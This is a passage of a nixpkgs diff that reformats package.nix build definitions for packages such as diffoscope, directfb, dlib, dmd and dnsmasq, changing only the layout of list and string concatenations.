+  ++ lib.optional httpSupport curl
+  ++ lib.optional linenoiseSupport linenoise;
 
   patches = [
     ./0001-force-sqlite-to-be-found.patch
@@ -43,17 +42,16 @@ stdenv.mkDerivation rec {
         -e 's/-flto/${lib.optionalString stdenv.cc.isGNU "-Wno-error=format-truncation"}/'
   '';
 
-  cmakeFlags =
-    [
-      "-DBUILD_CLI=${if cliSupport then "ON" else "OFF"}"
-      "-DDISABLE_HTTP=${if httpSupport then "OFF" else "ON"}"
-      "-DDISABLE_LINENOISE=${if linenoiseSupport then "OFF" else "ON"}"
-    ]
-    ++ lib.optionals enableLTO [
-      # TODO: LTO with LLVM
-      "-DCMAKE_AR=${stdenv.cc.cc}/bin/gcc-ar"
-      "-DCMAKE_RANLIB=${stdenv.cc.cc}/bin/gcc-ranlib"
-    ];
+  cmakeFlags = [
+    "-DBUILD_CLI=${if cliSupport then "ON" else "OFF"}"
+    "-DDISABLE_HTTP=${if httpSupport then "OFF" else "ON"}"
+    "-DDISABLE_LINENOISE=${if linenoiseSupport then "OFF" else "ON"}"
+  ]
+  ++ lib.optionals enableLTO [
+    # TODO: LTO with LLVM
+    "-DCMAKE_AR=${stdenv.cc.cc}/bin/gcc-ar"
+    "-DCMAKE_RANLIB=${stdenv.cc.cc}/bin/gcc-ranlib"
+  ];
 
   postBuild = ''
     cd .. # move out of cmakeBuildDir
@@ -76,16 +74,15 @@ stdenv.mkDerivation rec {
     ./dictu tests/runTests.du
   '';
 
-  installPhase =
-    ''
-      mkdir -p $out
-      cp -r src/include $out/include
-      mkdir -p $out/lib
-      cp build/src/libdictu_api* $out/lib
-    ''
-    + lib.optionalString cliSupport ''
-      install -Dm755 dictu $out/bin/dictu
-    '';
+  installPhase = ''
+    mkdir -p $out
+    cp -r src/include $out/include
+    mkdir -p $out/lib
+    cp build/src/libdictu_api* $out/lib
+  ''
+  + lib.optionalString cliSupport ''
+    install -Dm755 dictu $out/bin/dictu
+  '';
 
   meta = with lib; {
     description = "High-level dynamically typed, multi-paradigm, interpreted programming language";
diff --git a/pkgs/by-name/di/didyoumean/package.nix b/pkgs/by-name/di/didyoumean/package.nix
index 6af7fdffe2d0..ec6989ed9c54 100644
--- a/pkgs/by-name/di/didyoumean/package.nix
+++ b/pkgs/by-name/di/didyoumean/package.nix
@@ -23,13 +23,12 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-BASM0gBQFuJY2ze9X9HJUkiP4WrOP/inD87bVFraeAY=";
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pkg-config
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     libxcb
diff --git a/pkgs/by-name/di/diesel-cli/package.nix b/pkgs/by-name/di/diesel-cli/package.nix
index 0205540f90df..6ebbf22bf84b 100644
--- a/pkgs/by-name/di/diesel-cli/package.nix
+++ b/pkgs/by-name/di/diesel-cli/package.nix
@@ -43,14 +43,15 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optional sqliteSupport sqlite
-    ++ lib.optional postgresqlSupport libpq
-    ++ lib.optionals mysqlSupport [
-      libmysqlclient
-      zlib
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optional sqliteSupport sqlite
+  ++ lib.optional postgresqlSupport libpq
+  ++ lib.optionals mysqlSupport [
+    libmysqlclient
+    zlib
+  ];
 
   buildNoDefaultFeatures = true;
   buildFeatures =
diff --git a/pkgs/by-name/di/diffoscope/package.nix b/pkgs/by-name/di/diffoscope/package.nix
index dd4efe008e9a..3ca765a63d77 100644
--- a/pkgs/by-name/di/diffoscope/package.nix
+++ b/pkgs/by-name/di/diffoscope/package.nix
@@ -269,32 +269,31 @@ python.pkgs.buildPythonApplication rec {
     installManPage doc/diffoscope.1
   '';
 
-  disabledTests =
-    [
-      "test_sbin_added_to_path"
-      "test_diff_meta"
-      "test_diff_meta2"
+  disabledTests = [
+    "test_sbin_added_to_path"
+    "test_diff_meta"
+    "test_diff_meta2"
 
-      # Fails because it fails to determine llvm version
-      "test_item3_deflate_llvm_bitcode"
+    # Fails because it fails to determine llvm version
+    "test_item3_deflate_llvm_bitcode"
 
-      # Flaky test on Linux and Darwin
-      "test_non_unicode_filename"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Disable flaky tests on Darwin
-      "test_listing"
-      "test_symlink_root"
+    # Flaky test on Linux and Darwin
+    "test_non_unicode_filename"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Disable flaky tests on Darwin
+    "test_listing"
+    "test_symlink_root"
 
-      # Appears to be a sandbox related issue
-      "test_trim_stderr_in_command"
-      # Seems to be a bug caused by having different versions of rdata than
-      # expected. Will file upstream.
-      "test_item_rdb"
-      # Caused by getting an otool command instead of llvm-objdump. Could be Nix
-      # setup, could be upstream bug. Will file upstream.
-      "test_libmix_differences"
-    ];
+    # Appears to be a sandbox related issue
+    "test_trim_stderr_in_command"
+    # Seems to be a bug caused by having different versions of rdata than
+    # expected. Will file upstream.
+    "test_item_rdb"
+    # Caused by getting an otool command instead of llvm-objdump. Could be Nix
+    # setup, could be upstream bug. Will file upstream.
+    "test_libmix_differences"
+  ];
 
   disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [
     "tests/comparators/test_git.py"
diff --git a/pkgs/by-name/di/directfb/package.nix b/pkgs/by-name/di/directfb/package.nix
index d2506fd97e81..00c91ce04745 100644
--- a/pkgs/by-name/di/directfb/package.nix
+++ b/pkgs/by-name/di/directfb/package.nix
@@ -56,21 +56,20 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  postPatch =
-    ''
-      # https://github.com/deniskropp/DirectFB/blob/master/src/core/Makefile.am#L15
-      # BUILDTIME is embedded in the result
-      # if switching to cmake then a similar substitution has to be done
-      substituteInPlace src/core/Makefile.am \
-        --replace '`date -u "+%Y-%m-%d %H:%M"`' "`date -u \"+%Y-%m-%d %H:%M\" --date="@''${SOURCE_DATE_EPOCH}"`"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isMusl ''
-      # Specifically patch out two drivers that have build errors with musl libc,
-      # while leaving the rest of the default selection enabled
-      substituteInPlace configure.in \
-        --replace checkfor_lirc={yes,no} \
-        --replace checkfor_matrox={yes,no}
-    '';
+  postPatch = ''
+    # https://github.com/deniskropp/DirectFB/blob/master/src/core/Makefile.am#L15
+    # BUILDTIME is embedded in the result
+    # if switching to cmake then a similar substitution has to be done
+    substituteInPlace src/core/Makefile.am \
+      --replace '`date -u "+%Y-%m-%d %H:%M"`' "`date -u \"+%Y-%m-%d %H:%M\" --date="@''${SOURCE_DATE_EPOCH}"`"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isMusl ''
+    # Specifically patch out two drivers that have build errors with musl libc,
+    # while leaving the rest of the default selection enabled
+    substituteInPlace configure.in \
+      --replace checkfor_lirc={yes,no} \
+      --replace checkfor_matrox={yes,no}
+  '';
 
   nativeBuildInputs = [
     autoreconfHook
@@ -79,46 +78,43 @@ stdenv.mkDerivation rec {
     flux
   ];
 
-  buildInputs =
+  buildInputs = [
+    zlib
+    libjpeg
+    freetype
+    giflib
+    libpng
+  ]
+  ++ lib.optional enableSDL SDL
+  ++ lib.optionals enableX11 (
+    with xorg;
     [
-      zlib
-      libjpeg
-      freetype
-      giflib
-      libpng
+      xorgproto
+      libX11
+      libXext
+      libXrender
     ]
-    ++ lib.optional enableSDL SDL
-    ++ lib.optionals enableX11 (
-      with xorg;
-      [
-        xorgproto
-        libX11
-        libXext
-        libXrender
-      ]
-    );
+  );
 
-  env =
-    {
-      NIX_LDFLAGS = "-lgcc_s";
-    }
-    // lib.optionalAttrs stdenv.cc.isGNU {
-      NIX_CFLAGS_COMPILE = "-fpermissive";
-    };
+  env = {
+    NIX_LDFLAGS = "-lgcc_s";
+  }
+  // lib.optionalAttrs stdenv.cc.isGNU {
+    NIX_CFLAGS_COMPILE = "-fpermissive";
+  };
 
-  configureFlags =
-    [
-      "--enable-sdl"
-      "--enable-zlib"
-      "--with-gfxdrivers=all"
-      "--enable-devmem"
-      "--enable-fbdev"
-      "--enable-mmx"
-      "--enable-sse"
-      "--with-software"
-    ]
-    ++ lib.optional (!stdenv.hostPlatform.isMusl) "--with-smooth-scaling"
-    ++ lib.optional enableX11 "--enable-x11";
+  configureFlags = [
+    "--enable-sdl"
+    "--enable-zlib"
+    "--with-gfxdrivers=all"
+    "--enable-devmem"
+    "--enable-fbdev"
+    "--enable-mmx"
+    "--enable-sse"
+    "--with-software"
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isMusl) "--with-smooth-scaling"
+  ++ lib.optional enableX11 "--enable-x11";
 
   # Disable parallel building as parallel builds fail due to incomplete
   # depends between autogenerated CoreSlave.h and it's include sites:
diff --git a/pkgs/by-name/di/dirvish/package.nix b/pkgs/by-name/di/dirvish/package.nix
index 432662f0fd1a..ee82f246a7f6 100644
--- a/pkgs/by-name/di/dirvish/package.nix
+++ b/pkgs/by-name/di/dirvish/package.nix
@@ -17,13 +17,14 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ makeWrapper ];
-  buildInputs =
-    [ perl ]
-    ++ (with perlPackages; [
-      GetoptLong
-      TimeParseDate
-      TimePeriod
-    ]);
+  buildInputs = [
+    perl
+  ]
+  ++ (with perlPackages; [
+    GetoptLong
+    TimeParseDate
+    TimePeriod
+  ]);
 
   executables = [
     "dirvish"
diff --git a/pkgs/by-name/di/discocss/package.nix b/pkgs/by-name/di/discocss/package.nix
index 353b9b7a798d..ba28c93ff154 100644
--- a/pkgs/by-name/di/discocss/package.nix
+++ b/pkgs/by-name/di/discocss/package.nix
@@ -22,17 +22,16 @@ stdenvNoCC.mkDerivation rec {
 
   nativeBuildInputs = [ makeWrapper ];
 
-  installPhase =
-    ''
-      install -Dm755 discocss $out/bin/discocss
-    ''
-    + lib.optionalString discordAlias ''
-      wrapProgram $out/bin/discocss --set DISCOCSS_DISCORD_BIN ${discord}/bin/Discord
-      ln -s $out/bin/discocss $out/bin/Discord
-      ln -s $out/bin/discocss $out/bin/discord
-      mkdir -p $out/share
-      ln -s ${discord}/share/* $out/share
-    '';
+  installPhase = ''
+    install -Dm755 discocss $out/bin/discocss
+  ''
+  + lib.optionalString discordAlias ''
+    wrapProgram $out/bin/discocss --set DISCOCSS_DISCORD_BIN ${discord}/bin/Discord
+    ln -s $out/bin/discocss $out/bin/Discord
+    ln -s $out/bin/discocss $out/bin/discord
+    mkdir -p $out/share
+    ln -s ${discord}/share/* $out/share
+  '';
 
   meta = with lib; {
     description = "Tiny Discord css-injector";
diff --git a/pkgs/by-name/di/displaycal/package.nix b/pkgs/by-name/di/displaycal/package.nix
index 260990326c3b..5a839e7f0a2f 100644
--- a/pkgs/by-name/di/displaycal/package.nix
+++ b/pkgs/by-name/di/displaycal/package.nix
@@ -38,18 +38,17 @@ python3.pkgs.buildPythonApplication rec {
     zeroconf
   ];
 
-  buildInputs =
-    [
-      gtk3
-      librsvg
-    ]
-    ++ (with xorg; [
-      libX11
-      libXxf86vm
-      libXext
-      libXinerama
-      libXrandr
-    ]);
+  buildInputs = [
+    gtk3
+    librsvg
+  ]
+  ++ (with xorg; [
+    libX11
+    libXxf86vm
+    libXext
+    libXinerama
+    libXrandr
+  ]);
 
   # Workaround for eoyilmaz/displaycal-py3#261
   setupPyGlobalFlags = [ "appdata" ];
diff --git a/pkgs/by-name/di/distant/package.nix b/pkgs/by-name/di/distant/package.nix
index 2153efe0a10d..cd5ae71304b6 100644
--- a/pkgs/by-name/di/distant/package.nix
+++ b/pkgs/by-name/di/distant/package.nix
@@ -47,21 +47,20 @@ rustPlatform.buildRustPackage (finalAttrs: {
     writableTmpDirAsHomeHook
   ];
 
-  checkFlags =
-    [
-      # Requires network access:
-      # failed to lookup address information: Temporary failure in name resolution
-      "--skip=options::common::address::tests::resolve_should_properly_resolve_bind_address"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Timeout on darwin
-      # Custom { kind: TimedOut, error: "" }
-      "--skip=cli::api::watch::should_support_json_reporting_changes_using_correct_request_id"
-      "--skip=cli::api::watch::should_support_json_watching_directory_recursively"
-      "--skip=cli::api::watch::should_support_json_watching_single_file"
-      "--skip=cli::client::fs_watch::should_support_watching_a_directory_recursively"
-      "--skip=cli::client::fs_watch::should_support_watching_a_single_file"
-    ];
+  checkFlags = [
+    # Requires network access:
+    # failed to lookup address information: Temporary failure in name resolution
+    "--skip=options::common::address::tests::resolve_should_properly_resolve_bind_address"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Timeout on darwin
+    # Custom { kind: TimedOut, error: "" }
+    "--skip=cli::api::watch::should_support_json_reporting_changes_using_correct_request_id"
+    "--skip=cli::api::watch::should_support_json_watching_directory_recursively"
+    "--skip=cli::api::watch::should_support_json_watching_single_file"
+    "--skip=cli::client::fs_watch::should_support_watching_a_directory_recursively"
+    "--skip=cli::client::fs_watch::should_support_watching_a_single_file"
+  ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/by-name/di/distrobuilder/package.nix b/pkgs/by-name/di/distrobuilder/package.nix
index 657aaf6419c0..40fab4408ca9 100644
--- a/pkgs/by-name/di/distrobuilder/package.nix
+++ b/pkgs/by-name/di/distrobuilder/package.nix
@@ -19,20 +19,19 @@
 }:
 
 let
-  bins =
-    [
-      coreutils
-      debootstrap
-      gnupg
-      gnutar
-      squashfsTools
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      # repack-windows deps
-      cdrkit
-      hivex
-      wimlib
-    ];
+  bins = [
+    coreutils
+    debootstrap
+    gnupg
+    gnutar
+    squashfsTools
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    # repack-windows deps
+    cdrkit
+    hivex
+    wimlib
+  ];
 in
 buildGoModule rec {
   pname = "distrobuilder";
@@ -55,7 +54,8 @@ buildGoModule rec {
   nativeBuildInputs = [
     pkg-config
     makeWrapper
-  ] ++ bins;
+  ]
+  ++ bins;
 
   postInstall = ''
     wrapProgram $out/bin/distrobuilder --prefix PATH ":" ${lib.makeBinPath bins}
diff --git a/pkgs/by-name/di/dit/package.nix b/pkgs/by-name/di/dit/package.nix
index 102bb0fe202a..3bc2a2baf068 100644
--- a/pkgs/by-name/di/dit/package.nix
+++ b/pkgs/by-name/di/dit/package.nix
@@ -19,7 +19,8 @@ stdenv.mkDerivation rec {
   buildInputs = [
     ncurses
     lua
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   # fix paths
   prePatch = ''
diff --git a/pkgs/by-name/dj/djenrandom/package.nix b/pkgs/by-name/dj/djenrandom/package.nix
index 5a88117159ca..1130e3fe0550 100644
--- a/pkgs/by-name/dj/djenrandom/package.nix
+++ b/pkgs/by-name/dj/djenrandom/package.nix
@@ -15,13 +15,12 @@ stdenv.mkDerivation rec {
     hash = "sha256-r5UT8z8vvFZDffsl6CqBXuvBaZ/sl1WLxJi26CxkpAw=";
   };
 
-  preBuild =
-    ''
-      sed -i s/gcc/${stdenv.cc.targetPrefix}gcc/g Makefile
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isx86_64) ''
-      sed -i s/-m64//g Makefile
-    '';
+  preBuild = ''
+    sed -i s/gcc/${stdenv.cc.targetPrefix}gcc/g Makefile
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isx86_64) ''
+    sed -i s/-m64//g Makefile
+  '';
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/dj/djent/package.nix b/pkgs/by-name/dj/djent/package.nix
index a5d0d45313a7..8a1e404f67e2 100644
--- a/pkgs/by-name/dj/djent/package.nix
+++ b/pkgs/by-name/dj/djent/package.nix
@@ -18,13 +18,12 @@ stdenv.mkDerivation rec {
 
   buildInputs = [ mpfr ];
 
-  preBuild =
-    ''
-      sed -i s/gcc/${stdenv.cc.targetPrefix}gcc/g Makefile
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isx86_64) ''
-      sed -i s/-m64//g Makefile
-    '';
+  preBuild = ''
+    sed -i s/gcc/${stdenv.cc.targetPrefix}gcc/g Makefile
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isx86_64) ''
+    sed -i s/-m64//g Makefile
+  '';
 
   makeFlags = [ "CC=${stdenv.cc.targetPrefix}cc" ];
 
diff --git a/pkgs/by-name/dl/dl-librescore/package.nix b/pkgs/by-name/dl/dl-librescore/package.nix
index 31051981140d..2a6ac9b87131 100644
--- a/pkgs/by-name/dl/dl-librescore/package.nix
+++ b/pkgs/by-name/dl/dl-librescore/package.nix
@@ -29,13 +29,12 @@ buildNpmPackage rec {
 
   makeCacheWritable = true;
 
-  nativeBuildInputs =
-    [
-      python3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-    ];
+  nativeBuildInputs = [
+    python3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+  ];
 
   meta = {
     description = "Download sheet music";
diff --git a/pkgs/by-name/dl/dlib/package.nix b/pkgs/by-name/dl/dlib/package.nix
index c37e2f7c8889..cb852b216e41 100644
--- a/pkgs/by-name/dl/dlib/package.nix
+++ b/pkgs/by-name/dl/dlib/package.nix
@@ -33,52 +33,49 @@
     rm -rf dlib/external
   '';
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_SHARED_LIBS" enableShared)
-      (lib.cmakeBool "USE_SSE4_INSTRUCTIONS" sse4Support)
-      (lib.cmakeBool "USE_AVX_INSTRUCTIONS" avxSupport)
-      (lib.cmakeBool "DLIB_USE_CUDA" cudaSupport)
-    ]
-    ++ lib.optionals cudaSupport [
-      (lib.cmakeFeature "DLIB_USE_CUDA_COMPUTE_CAPABILITIES" (
-        builtins.concatStringsSep "," (with cudaPackages.flags; map dropDots cudaCapabilities)
-      ))
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_SHARED_LIBS" enableShared)
+    (lib.cmakeBool "USE_SSE4_INSTRUCTIONS" sse4Support)
+    (lib.cmakeBool "USE_AVX_INSTRUCTIONS" avxSupport)
+    (lib.cmakeBool "DLIB_USE_CUDA" cudaSupport)
+  ]
+  ++ lib.optionals cudaSupport [
+    (lib.cmakeFeature "DLIB_USE_CUDA_COMPUTE_CAPABILITIES" (
+      builtins.concatStringsSep "," (with cudaPackages.flags; map dropDots cudaCapabilities)
+    ))
+  ];
 
-  nativeBuildInputs =
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals cudaSupport (
+    with cudaPackages;
     [
-      cmake
-      pkg-config
+      cuda_nvcc
     ]
-    ++ lib.optionals cudaSupport (
-      with cudaPackages;
-      [
-        cuda_nvcc
-      ]
-    );
+  );
 
-  buildInputs =
+  buildInputs = [
+    libpng
+    libjpeg
+    libwebp
+    blas
+    lapack
+  ]
+  ++ lib.optionals guiSupport [ libX11 ]
+  ++ lib.optionals cudaSupport (
+    with cudaPackages;
     [
-      libpng
-      libjpeg
-      libwebp
-      blas
-      lapack
+      cuda_cudart
+      cuda_nvcc
+      libcublas
+      libcurand
+      libcusolver
+      cudnn
+      cuda_cccl
     ]
-    ++ lib.optionals guiSupport [ libX11 ]
-    ++ lib.optionals cudaSupport (
-      with cudaPackages;
-      [
-        cuda_cudart
-        cuda_nvcc
-        libcublas
-        libcurand
-        libcusolver
-        cudnn
-        cuda_cccl
-      ]
-    );
+  );
 
   passthru = {
     inherit
diff --git a/pkgs/by-name/dm/dmd/binary.nix b/pkgs/by-name/dm/dmd/binary.nix
index 096580ea4a23..a248aa38e245 100644
--- a/pkgs/by-name/dm/dmd/binary.nix
+++ b/pkgs/by-name/dm/dmd/binary.nix
@@ -40,15 +40,14 @@ stdenv.mkDerivation {
     ++ lib.optionals hostPlatform.isDarwin [
       fixDarwinDylibNames
     ];
-  propagatedBuildInputs =
-    [
-      curl
-      tzdata
-    ]
-    ++ lib.optionals hostPlatform.isLinux [
-      glibc
-      stdenv.cc.cc.libgcc
-    ];
+  propagatedBuildInputs = [
+    curl
+    tzdata
+  ]
+  ++ lib.optionals hostPlatform.isLinux [
+    glibc
+    stdenv.cc.cc.libgcc
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/dm/dmd/generic.nix b/pkgs/by-name/dm/dmd/generic.nix
index 0bd513a08e5c..433b894e3822 100644
--- a/pkgs/by-name/dm/dmd/generic.nix
+++ b/pkgs/by-name/dm/dmd/generic.nix
@@ -94,61 +94,58 @@ stdenv.mkDerivation (finalAttrs: {
       })
     ];
 
-  postPatch =
-    ''
-      patchShebangs dmd/compiler/test/{runnable,fail_compilation,compilable,tools}{,/extra-files}/*.sh
+  postPatch = ''
+    patchShebangs dmd/compiler/test/{runnable,fail_compilation,compilable,tools}{,/extra-files}/*.sh
 
-      rm dmd/compiler/test/runnable/gdb1.d
-      rm dmd/compiler/test/runnable/gdb10311.d
-      rm dmd/compiler/test/runnable/gdb14225.d
-      rm dmd/compiler/test/runnable/gdb14276.d
-      rm dmd/compiler/test/runnable/gdb14313.d
-      rm dmd/compiler/test/runnable/gdb14330.d
-      rm dmd/compiler/test/runnable/gdb15729.sh
-      rm dmd/compiler/test/runnable/gdb4149.d
-      rm dmd/compiler/test/runnable/gdb4181.d
-      rm dmd/compiler/test/compilable/ddocYear.d
+    rm dmd/compiler/test/runnable/gdb1.d
+    rm dmd/compiler/test/runnable/gdb10311.d
+    rm dmd/compiler/test/runnable/gdb14225.d
+    rm dmd/compiler/test/runnable/gdb14276.d
+    rm dmd/compiler/test/runnable/gdb14313.d
+    rm dmd/compiler/test/runnable/gdb14330.d
+    rm dmd/compiler/test/runnable/gdb15729.sh
+    rm dmd/compiler/test/runnable/gdb4149.d
+    rm dmd/compiler/test/runnable/gdb4181.d
+    rm dmd/compiler/test/compilable/ddocYear.d
 
-      # Disable tests that rely on objdump whitespace until fixed upstream:
-      #   https://issues.dlang.org/show_bug.cgi?id=23317
-      rm dmd/compiler/test/runnable/cdvecfill.sh
-      rm dmd/compiler/test/compilable/cdcmp.d
-    ''
-    + lib.optionalString (lib.versionAtLeast version "2.089.0" && lib.versionOlder version "2.092.2") ''
-      rm dmd/compiler/test/dshell/test6952.d
-    ''
-    + lib.optionalString (lib.versionAtLeast version "2.092.2") ''
-      substituteInPlace dmd/compiler/test/dshell/test6952.d --replace-fail "/usr/bin/env bash" "${bash}/bin/bash"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace phobos/std/socket.d --replace-fail "assert(ih.addrList[0] == 0x7F_00_00_01);" ""
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace phobos/std/socket.d --replace-fail "foreach (name; names)" "names = []; foreach (name; names)"
-    '';
+    # Disable tests that rely on objdump whitespace until fixed upstream:
+    #   https://issues.dlang.org/show_bug.cgi?id=23317
+    rm dmd/compiler/test/runnable/cdvecfill.sh
+    rm dmd/compiler/test/compilable/cdcmp.d
+  ''
+  + lib.optionalString (lib.versionAtLeast version "2.089.0" && lib.versionOlder version "2.092.2") ''
+    rm dmd/compiler/test/dshell/test6952.d
+  ''
+  + lib.optionalString (lib.versionAtLeast version "2.092.2") ''
+    substituteInPlace dmd/compiler/test/dshell/test6952.d --replace-fail "/usr/bin/env bash" "${bash}/bin/bash"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace phobos/std/socket.d --replace-fail "assert(ih.addrList[0] == 0x7F_00_00_01);" ""
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace phobos/std/socket.d --replace-fail "foreach (name; names)" "names = []; foreach (name; names)"
+  '';
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      which
-      installShellFiles
-    ]
-    ++ lib.optionals (lib.versionOlder version "2.088.0") [
-      git
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    which
+    installShellFiles
+  ]
+  ++ lib.optionals (lib.versionOlder version "2.088.0") [
+    git
+  ];
 
   buildInputs = [
     curl
     tzdata
   ];
 
-  nativeCheckInputs =
-    [
-      gdb
-    ]
-    ++ lib.optionals (lib.versionOlder version "2.089.0") [
-      unzip
-    ];
+  nativeCheckInputs = [
+    gdb
+  ]
+  ++ lib.optionals (lib.versionOlder version "2.089.0") [
+    unzip
+  ];
 
   buildFlags = [
     "BUILD=release"
diff --git a/pkgs/by-name/dm/dmenu-rs/package.nix b/pkgs/by-name/dm/dmenu-rs/package.nix
index 20df1141d3df..7ba8db6c7b45 100644
--- a/pkgs/by-name/dm/dmenu-rs/package.nix
+++ b/pkgs/by-name/dm/dmenu-rs/package.nix
@@ -56,18 +56,17 @@ stdenv.mkDerivation rec {
     rustPlatform.cargoSetupHook
   ];
 
-  buildInputs =
-    [
-      expat
-      fontconfig
-      libXft
-      libXinerama
-    ]
-    ++ lib.optionals enablePlugins [
-      aspell
-      xclip
-      xdg-utils
-    ];
+  buildInputs = [
+    expat
+    fontconfig
+    libXft
+    libXinerama
+  ]
+  ++ lib.optionals enablePlugins [
+    aspell
+    xclip
+    xdg-utils
+  ];
 
   # The dmenu-rs repository does not include a Cargo.lock because of its
   # dynamic build and plugin support. Generating it with make and checking it
@@ -78,13 +77,12 @@ stdenv.mkDerivation rec {
   };
 
   # Copy the Cargo.lock stored here in nixpkgs into the build directory.
-  postPatch =
-    ''
-      cp ${cargoLockFile} src/Cargo.lock
-    ''
-    + lib.optionalString enablePlugins ''
-      chmod +w src/Cargo.lock
-    '';
+  postPatch = ''
+    cp ${cargoLockFile} src/Cargo.lock
+  ''
+  + lib.optionalString enablePlugins ''
+    chmod +w src/Cargo.lock
+  '';
 
   # Include all plugins in the dmenu-rs repository under src/plugins.
   # See https://github.com/Shizcow/dmenu-rs/tree/master/src/plugins
diff --git a/pkgs/by-name/dn/dnf5/package.nix b/pkgs/by-name/dn/dnf5/package.nix
index 8cdc78b5fd87..3fcef0126175 100644
--- a/pkgs/by-name/dn/dnf5/package.nix
+++ b/pkgs/by-name/dn/dnf5/package.nix
@@ -48,21 +48,20 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-Qt3G4jsJNk7iMOWliGjyR2dOGpWANVtZFeYwlsYbFrw=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      createrepo_c
-      doxygen
-      gettext
-      help2man
-      pkg-config
-      sphinx
-    ]
-    ++ (with python3Packages; [
-      breathe
-      sphinx-autoapi
-      sphinx-rtd-theme
-    ]);
+  nativeBuildInputs = [
+    cmake
+    createrepo_c
+    doxygen
+    gettext
+    help2man
+    pkg-config
+    sphinx
+  ]
+  ++ (with python3Packages; [
+    breathe
+    sphinx-autoapi
+    sphinx-rtd-theme
+  ]);
 
   buildInputs = [
     appstream
diff --git a/pkgs/by-name/dn/dnsmasq/package.nix b/pkgs/by-name/dn/dnsmasq/package.nix
index b2179b0ef5c1..e97483f04979 100644
--- a/pkgs/by-name/dn/dnsmasq/package.nix
+++ b/pkgs/by-name/dn/dnsmasq/package.nix
@@ -61,45 +61,43 @@ stdenv.mkDerivation rec {
 
   # XXX: Does the systemd service definition really belong here when our NixOS
   # module can create it in Nix-land?
-  postInstall =
-    ''
-      install -Dm644 trust-anchors.conf $out/share/dnsmasq/trust-anchors.conf
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      install -Dm644 contrib/MacOSX-launchd/uk.org.thekelleys.dnsmasq.plist \
-        $out/Library/LaunchDaemons/uk.org.thekelleys.dnsmasq.plist
-      substituteInPlace $out/Library/LaunchDaemons/uk.org.thekelleys.dnsmasq.plist \
-        --replace "/usr/local/sbin" "$out/bin"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -Dm755 contrib/lease-tools/dhcp_lease_time $out/bin/dhcp_lease_time
-      install -Dm755 contrib/lease-tools/dhcp_release $out/bin/dhcp_release
-      install -Dm755 contrib/lease-tools/dhcp_release6 $out/bin/dhcp_release6
+  postInstall = ''
+    install -Dm644 trust-anchors.conf $out/share/dnsmasq/trust-anchors.conf
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    install -Dm644 contrib/MacOSX-launchd/uk.org.thekelleys.dnsmasq.plist \
+      $out/Library/LaunchDaemons/uk.org.thekelleys.dnsmasq.plist
+    substituteInPlace $out/Library/LaunchDaemons/uk.org.thekelleys.dnsmasq.plist \
+      --replace "/usr/local/sbin" "$out/bin"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -Dm755 contrib/lease-tools/dhcp_lease_time $out/bin/dhcp_lease_time
+    install -Dm755 contrib/lease-tools/dhcp_release $out/bin/dhcp_release
+    install -Dm755 contrib/lease-tools/dhcp_release6 $out/bin/dhcp_release6
 
-    ''
-    + lib.optionalString dbusSupport ''
-      install -Dm644 dbus/dnsmasq.conf $out/share/dbus-1/system.d/dnsmasq.conf
-      mkdir -p $out/share/dbus-1/system-services
-      cat <<END > $out/share/dbus-1/system-services/uk.org.thekelleys.dnsmasq.service
-      [D-BUS Service]
-      Name=uk.org.thekelleys.dnsmasq
-      Exec=$out/bin/dnsmasq -k -1
-      User=root
-      SystemdService=dnsmasq.service
-      END
-    '';
+  ''
+  + lib.optionalString dbusSupport ''
+    install -Dm644 dbus/dnsmasq.conf $out/share/dbus-1/system.d/dnsmasq.conf
